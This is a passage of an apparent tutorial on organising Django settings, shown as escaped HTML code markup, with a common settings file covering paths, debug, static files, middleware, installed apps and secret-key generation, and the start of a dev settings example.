&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SITE_NAME&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">basename&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">DJANGO_ROOT&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Absolute filesystem path to the top-level project folder.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SITE_ROOT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">dirname&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">DJANGO_ROOT&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Absolute filesystem path to the secret file which holds this project&amp;#39;s&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># SECRET_KEY. Will be auto-generated the first time this file is interpreted.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SECRET_FILE&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">normpath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SITE_ROOT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;deploy&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;SECRET&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Add all necessary filesystem paths to our system path so that we can use&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># python import statements.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SITE_ROOT&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">normpath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">DJANGO_ROOT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;apps&amp;#39;&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">normpath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">DJANGO_ROOT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;libs&amp;#39;&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END PATH CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## DEBUG CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Disable debugging by default.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">DEBUG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TEMPLATE_DEBUG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">DEBUG&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END DEBUG CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## MANAGER CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Admin and managers for this project. These people receive private site&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># alerts.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ADMINS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Your Name&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;your_email@example.com&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MANAGERS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ADMINS&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END MANAGER CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## GENERAL CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Local time zone for this installation. Choices can be found here:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># http://en.wikipedia.org/wiki/List_of_tz_zones_by_name although not all&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># choices may be available on all operating systems. On Unix systems, a value&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># of None will cause Django to use the same timezone as the operating system.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># If running in a Windows environment this must be set to the same as your&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># system time zone.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TIME_ZONE&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;America/Los_Angeles&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Language code for this installation. All choices can be found here:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># http://www.i18nguy.com/unicode/language-identifiers.html.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">LANGUAGE_CODE&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;en-us&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># The ID, as an integer, of the current site in the django_site database table.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># This is used so that application data can hook into specific site(s) and a&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># single database can manage content for multiple sites.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SITE_ID&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># If you set this to False, Django will make some optimizations so as not&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># to load the internationalization machinery.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">USE_I18N&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># If you set this to False, Django will not format dates, numbers and&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># calendars according to the current locale.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">USE_L10N&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">True&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END GENERAL CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## MEDIA CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Absolute filesystem path to the directory that will hold user-uploaded files.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MEDIA_ROOT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">normpath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">DJANGO_ROOT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;media&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># URL that handles the media served from MEDIA_ROOT.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MEDIA_URL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;/media/&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END MEDIA CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## STATIC FILE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Absolute path to the directory static files should be collected to. Don&amp;#39;t put&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># anything in this directory yourself; store your static files in apps&amp;#39; static/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># subdirectories and in STATICFILES_DIRS.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">STATIC_ROOT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">normpath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">DJANGO_ROOT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;static&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># URL prefix for static files.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">STATIC_URL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;/static/&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># URL prefix for admin static files -- CSS, JavaScript and images.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ADMIN_MEDIA_PREFIX&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;/static/admin/&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Additional locations of static files.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">STATICFILES_DIRS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">normpath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">DJANGO_ROOT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;assets&amp;#39;&lt;/span>&lt;span class="p">)),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># List of finder classes that know how to find static files in various&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># locations.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">STATICFILES_FINDERS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.staticfiles.finders.FileSystemFinder&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.staticfiles.finders.AppDirectoriesFinder&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#&amp;#39;django.contrib.staticfiles.finders.DefaultStorageFinder&amp;#39;,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END STATIC FILE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## TEMPLATE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># List of callables that know how to import templates from various sources.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TEMPLATE_LOADERS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.template.loaders.filesystem.Loader&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.template.loaders.app_directories.Loader&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#&amp;#39;django.template.loaders.eggs.Loader&amp;#39;,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Directories to search when loading templates.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TEMPLATE_DIRS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">normpath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">DJANGO_ROOT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;templates&amp;#39;&lt;/span>&lt;span class="p">)),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END TEMPLATE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## MIDDLEWARE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MIDDLEWARE_CLASSES&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.middleware.common.CommonMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.sessions.middleware.SessionMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.middleware.csrf.CsrfViewMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.auth.middleware.AuthenticationMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.messages.middleware.MessageMiddleware&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END MIDDLEWARE CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## APP CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">INSTALLED_APPS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.auth&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.contenttypes&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.sessions&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.sites&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.messages&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.staticfiles&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Admin panel and documentation.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.admin&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;django.contrib.admindocs&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># South migration tool.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;south&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Celery task queue.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;djcelery&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># django-sentry log viewer.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;indexer&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;paging&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;sentry&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;sentry.client&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END APP CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## CELERY CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">djcelery&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">djcelery&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">setup_loader&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END CELERY CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## URL CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">ROOT_URLCONF&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="si">%s&lt;/span>&lt;span class="s1">.urls&amp;#39;&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">SITE_NAME&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END URL CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## KEY CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Try to load the SECRET_KEY from our SECRET_FILE. If that fails, then generate&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># a random SECRET_KEY and save it into our SECRET_FILE for future loading. If&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># everything fails, then just raise an exception.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">SECRET_KEY&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SECRET_FILE&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">except&lt;/span> &lt;span class="ne">IOError&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SECRET_FILE&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;w&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">gen_secret_key&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">50&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">IOError&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">raise&lt;/span> &lt;span class="ne">Exception&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Cannot open file `&lt;/span>&lt;span class="si">%s&lt;/span>&lt;span class="s1">` for writing.&amp;#39;&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="n">SECRET_FILE&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## END KEY CONFIGURATION&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Define as many environment-specific settings files as you need. Just make sure
to import from &lt;code>common&lt;/code> at the top of your file. For example&amp;ndash;here&amp;rsquo;s a
&lt;code>dev.py&lt;/code> file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Development settings and globals.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">common&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">os.path&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">join&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">normpath&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">########## DEBUG CONFIGURATION&lt;/span>
